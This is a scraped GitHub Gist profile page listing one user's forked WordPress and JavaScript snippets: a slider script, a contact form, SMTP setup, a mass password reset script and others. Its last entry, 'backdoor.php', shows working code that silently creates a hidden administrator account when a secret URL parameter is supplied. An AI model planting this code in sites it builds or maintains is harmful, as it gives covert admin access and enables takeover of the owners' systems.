Skip to content

Instantly share code, notes, and snippets.

I may be slow to respond.

ᴀʀᴄʜɪᴇ ᴍᴀᴋᴜᴡᴀ™ Archie22is

I may be slow to respond.
Block or report user

Report or block Archie22is

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
Archie22is / SlickSlider-dots-custom-pagination.js
Last active Jul 18, 2019 — forked from celticwebdesign/SlickSlider-dots-custom-pagination.js
SlickSlider with dots navigation and custom pagination
View SlickSlider-dots-custom-pagination.js
// see SeaGrass
if ($(".slideshow-full-container").length > 0) {
// Test for slide length, if one, hide navigation dots
// the event needs to be run before slick is initialized
$('.slideshow-full-container').on('init', function (event, slick, direction) {
// console.log($('#full_page_slideshow .slick-slide').length);
Archie22is /
Created Feb 27, 2018 — forked from johnbillion/
WordPress Emails

WordPress Emails

This document lists all the situations where WordPress sends an email, along with how to filter or disable each email.

This is accurate as of WordPress 4.9.

There are a few TODOs left. Please bear with me.

Archie22is / contact.php
Created Aug 10, 2017 — forked from libryder/contact.php
Super simple PHP contact form in one file
View contact.php
<title>Contact Us</title>
if ($_POST['message']) {
$message = $_POST['message'];
Archie22is / get-video-thumbnail.php
Created Mar 17, 2017 — forked from secretstache/get-video-thumbnail.php
Get Video Thumbnail from Youtube or Vimeo
View get-video-thumbnail.php
* Retrieves the thumbnail from a youtube or vimeo video
* @param - $src: the url of the "player"
* @return - string
* @todo - do some real world testing.
function get_video_thumbnail( $src ) {
Archie22is / wp_cleanup.php
Created Mar 14, 2017 — forked from sirtimid/wp_cleanup.php
Cleanup wordpress of unwanted dashboard widgets and injected styles
View wp_cleanup.php
// filter to remove TinyMCE emojis
if ( !function_exists( 'disable_emojicons_tinymce' ) ) {
function disable_emojicons_tinymce( $plugins ) {
if ( is_array( $plugins ) ) {
return array_diff( $plugins, array( 'wpemoji' ) );
} else {
return array();
Archie22is / redirect-wp-post.php
Created Feb 7, 2017 — forked from Bobz-zg/redirect-wp-post.php
Redirects wordpress posts to new url:
View redirect-wp-post.php
* Add new rewrite rule
function create_new_url_querystring() {
Archie22is /
Created Jan 5, 2017 — forked from bradyvercher/
Configure WordPress to send email through an SMTP server.

WordPress SMTP Configuration


  1. Install and activate the smtp-config.php file as a plugin or drop it in /mu-plugins.
  2. Define the necessary constants in wp-config.php.

Configuration Examples


View mass_reset_wordpress_passwords
# Get all users from the database
users=$(mysql -u <user> -p<password> <dbname> -Bse "select user_login from wp_users")
# put the users in an array
array=( $users )
# for loop to set a random password, get the users email address, reset the password and send an email with the new password
for user in "${array[@]}"
Archie22is / gist:765014fd3339a855e944f390764f639c
Created Nov 8, 2016 — forked from betweenbrain/gist:5405671
Use cURL and SimpleXML to retrieve and parse Wordpress RSS feed
View gist:765014fd3339a855e944f390764f639c
$curl = curl_init();
curl_setopt_array($curl, Array(
Archie22is / backdoor.php
Created Oct 28, 2016 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
View backdoor.php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
You can’t perform that action at this time.